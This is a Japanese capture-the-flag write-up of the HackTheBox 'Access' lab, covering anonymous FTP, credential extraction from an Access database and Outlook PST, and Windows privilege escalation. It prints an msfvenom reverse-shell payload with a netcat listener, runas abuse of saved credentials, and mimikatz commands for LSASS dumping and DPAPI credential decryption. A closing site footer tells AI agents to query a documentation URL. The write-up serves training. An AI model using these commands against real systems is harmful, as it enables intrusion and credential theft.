> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md).

# Access HackTheBox 攻略記事

{% embed url="<https://app.hackthebox.com/machines/Access>" %}

{% hint style="warning" %}
**スキル:**

* FTP列挙
* Microsoft Accessデータベースの抽出
* PSTの解析、Windowsに保存された資格情報
* DPAPI。
  {% endhint %}

## 偵察

ワークスペースを作成し、ターゲットに到達可能であることを確認します。

{% code overflow="wrap" %}

```bash
mkdir Access
cd !$

ping -c 1 10.129.6.20
settarget Access 10.129.6.20
```

{% endcode %}

ターゲットはWindowsホストです。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FVDIWyGMLTCskr6Jub4GY%2Fimage.png?alt=media&amp;token=ad62c7bd-757d-430e-9b99-f60f5fe6598d" alt=""><figcaption></figcaption></figure>

TCPポートのフルスキャンを実行します。

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.20 -oG allPorts
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FVS0CeyhCjWeeP6f27jwq%2Fimage.png?alt=media&amp;token=08438448-903d-40ef-a6da-19e003264b3e" alt=""><figcaption></figcaption></figure>

スキャンにより、ポート上でFTP、Telnet、HTTPが検出されます `21`, `23`、および `80`。それぞれのサービスバージョンを列挙します。

{% code overflow="wrap" %}

```bash
nmap -sCV -p21,23,80 10.129.6.20 -oN targeted
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ffn8ZoR9JXXQb0KrQ3JXh%2Fimage.png?alt=media&amp;token=4991651c-1019-463c-99cd-1b63531a85f1" alt=""><figcaption></figcaption></figure>

匿名FTPアクセスが有効です。

{% code overflow="wrap" %}

```bash
ftp anonymous@10.129.6.20
```

{% endcode %}

FTPサーバーには `Backups` および `Engineer` ディレクトリがあります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTfQD2boybWfhmDE0fXKZ%2Fimage.png?alt=media&amp;token=c725c532-1238-4a92-85a3-e67588bc60c5" alt=""><figcaption></figcaption></figure>

ダウンロード `backup.mdb` から `Backups` バイナリモードで。ダウンロード `Access Control.zip` から `Engineer`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FKzch5DtPk2F18yLd0TgN%2Fimage.png?alt=media&amp;token=66a2cf26-11d3-4536-8d66-af1acd719d6c" alt=""><figcaption></figcaption></figure>

Microsoft Accessデータベース内のテーブルを一覧表示します。

{% code overflow="wrap" %}

```bash
mdb-tables backup.mdb
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FHWDOmeDojxxzpsa5PfTJ%2Fimage.png?alt=media&amp;token=27db277d-c3c7-4238-84bc-feb0e4533204" alt=""><figcaption></figcaption></figure>

確認のため、すべてのテーブルをCSVにエクスポートします。

{% code overflow="wrap" %}

```bash
for table in $(mdb-tables backup.mdb); do
    mdb-export backup.mdb "$table" > "$table.csv"
done
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJKB1AhwNf6QNXXD9T3Bu%2Fimage.png?alt=media&amp;token=44af28cc-1b98-4dff-bd58-854098d1915a" alt=""><figcaption></figcaption></figure>

その `auth_user.csv` エクスポートには資格情報が含まれています。

{% code overflow="wrap" %}

```bash
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmJl2ktm2tY9sjBTcefEb%2Fimage.png?alt=media&amp;token=3cf3b1f5-f9ad-4529-9f5f-172b60f2f45e" alt=""><figcaption></figcaption></figure>

次を使用します `engineer` アーカイブを展開するためのパスワード。

{% code overflow="wrap" %}

```bash
7z x Access\ Control.zip

access4u@security
```

{% endcode %}

アーカイブにはOutlookのPSTファイルが含まれています。

> Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fx9boVWacMkC8qgfRJzLm%2Fimage.png?alt=media&amp;token=88eb71a9-b7c0-4f45-a56c-316d7141ab6f" alt=""><figcaption></figcaption></figure>

PSTメッセージを抽出します。

{% code overflow="wrap" %}

```bash
readpst -cv -e -o output Access\ Control.pst
```

{% endcode %}

これにより `.eml` メッセージが作成されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F0QACuXWQNNabgThCKkA9%2Fimage.png?alt=media&amp;token=53d768b2-0d2d-4922-9148-12c7b3db20f6" alt="" width="563"><figcaption></figcaption></figure>

このメールで `security` アカウントのパスワードが明らかになります。

{% code overflow="wrap" %}

```bash
こんにちは、

“security”アカウントのパスワードは4Cc3ssC0ntr0llerに変更されました。これを必ずエンジニアに伝えてください。

よろしく、

John
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUuS1sfwnzt8Atl6bGmPk%2Fimage.png?alt=media&amp;token=032a163a-cd85-4a5d-b4fc-f6c9bce26b5b" alt=""><figcaption></figcaption></figure>

Telnetに `security`.

{% code overflow="wrap" %}

```bash
telnet 10.129.6.20 23
```

{% endcode %}

* security
* 4Cc3ssC0ntr0ller

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYxR9raexynig7kmZcCOF%2Fimage.png?alt=media&amp;token=dcb90316-58d8-4612-ac95-6320427bcdf6" alt=""><figcaption></figcaption></figure>

取得する `user.txt`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FI2U0WrPz5pgMzkX6V1eY%2Fimage.png?alt=media&amp;token=02748b50-a228-4b05-89c2-aee47737ac8a" alt="" width="563"><figcaption></figcaption></figure>

### 保存された資格情報による権限昇格

Windowsに保存されている資格情報を一覧表示します。

{% code overflow="wrap" %}

```bash
cmdkey /list
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fjjt1CwuEyxGdkfTFdcc7%2Fimage.png?alt=media&amp;token=a432ffae-80b6-44f1-9c98-07789946431e" alt=""><figcaption></figcaption></figure>

保存された `ACCESS\Administrator` 資格情報は `runas /savecred`を使ってプロセスを実行できます。逆シェルのペイロードを作成します。

{% code overflow="wrap" %}

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.2 LPORT=1234 -f exe > nikos.exe
```

{% endcode %}

転送 `nikos.exe` をターゲットへ送ります。次に、ポートでリスナーを起動します `1234`.

{% code overflow="wrap" %}

```bash
nc -nlvp 1234
```

{% endcode %}

ペイロードを `ACCESS\Administrator`.

{% code overflow="wrap" %}

```bash
runas /savecred /user:ACCESS\Administrator "nikos.exe"
```

{% endcode %}

コールバックはAdministratorとして実行されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FicWrstrFbRpaer3OffgR%2Fimage.png?alt=media&amp;token=ac609f78-43d2-416c-aa70-fd8fa09f7400" alt=""><figcaption></figcaption></figure>

取得する `root.txt`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F1Gto8ORCqdGXkahypOA9%2Fimage.png?alt=media&amp;token=881eca78-e082-41d6-bddb-b71facf0cc2d" alt=""><figcaption></figcaption></figure>

### 保存された管理者資格情報の復元

保存された資格情報はDPAPIで保護されています。その秘密を `security` プロファイルから復元します。

#### 資格情報ブロブを見つける

ブロブは `security` プロファイル内にあります。使用します `/a` ファイルが隠し属性だからです。

{% code overflow="wrap" %}

```bash
dir /a C:\Users\security\AppData\Roaming\Microsoft\Credentials
```

{% endcode %}

* `0F16D9D2A97B325E559235F507B7AB01`
* `51AB168BE4BDB3A603DADE4F8CA81290`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FqAYw6BfQPEcE6RW36I5u%2Fimage.png?alt=media&amp;token=64c05956-1223-4e71-b1fb-180a27d6c014" alt=""><figcaption></figcaption></figure>

正しいブロブは `51AB168BE4BDB3A603DADE4F8CA81290`。その `08/22/2018` タイムスタンプはPublic Desktopの `.lnk` ファイルと一致します。もう一方のブロブは評価中に作成されたものです。

#### マスターキーのGUIDを特定する

ブロブを調べて、必要なDPAPIマスターキーを特定します。

{% code overflow="wrap" %}

```bash
mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290" "exit"
```

{% endcode %}

マスターキーのGUIDに注意してください。

* guidMasterKey: 0792c32e-48a5-4fe3-8b43-d93d64590580

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCAcSHIjewR6HrFk3y3NZ%2Fimage.png?alt=media&amp;token=26894652-1627-41c2-a857-f347582d118e" alt=""><figcaption></figcaption></figure>

#### LSASSでマスターキーを確認する

LSASSに読み込まれているDPAPIマスターキーをダンプします。

{% code overflow="wrap" %}

```bash
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"
```

{% endcode %}

必要なGUID `{0792c32e-...}` は存在しません。これは次の理由によります:

* マスターキーは `security` プロファイルから復元します。
* 現在のセッションは `管理者`.
* その `security` として実行されており、このコンテキストではマスターキーは読み込まれていません。

ダンプには `管理者` および `ACCESS$`.

```
GUID : {9851d4a5-f9b1-4277-b4ee-188e11f8e997}   → Administrator
GUID : {43ea2159-28dc-4507-90bd-751f19e7db5d}   → ACCESS$
```

#### ディスクからマスターキーを復号する

既知の情報を使って、ディスクからマスターキーを直接復号します。 `security` パスワード。

まず、マスターキーファイルを見つけます。

{% code overflow="wrap" %}

```bash
dir /a C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001
```

{% endcode %}

{% hint style="info" %}
その `security` SIDは `-1001`で終わります。AdministratorのSIDは `-500`.
{% endhint %}

Mimikatzでマスターキーを復号します。

{% code overflow="wrap" %}

```bash
mimikatz.exe "dpapi::masterkey /in:C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller" "exit"
```

{% endcode %}

マスターキーのSHA-1は `bf6d0654ef999c3ad5b09692944da3c0d0b68afe`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F52j5JHIQby1fLXuxNZgd%2Fimage.png?alt=media&amp;token=91396364-6d7f-47c9-a195-a0a33472b1ef" alt=""><figcaption></figcaption></figure>

#### 資格情報ブロブを復号する

マスターキーのSHA-1を使って資格情報ブロブを復号し、保存されたパスワードを復元します。

{% code overflow="wrap" %}

```bash
mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290 /masterkey:bf6d0654ef999c3ad5b09692944da3c0d0b68afe" "exit"
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9MyDGfapQIAsSlsZA7iq%2Fimage.png?alt=media&amp;token=e1d3de3b-0025-442d-a10d-29d4a84c7873" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
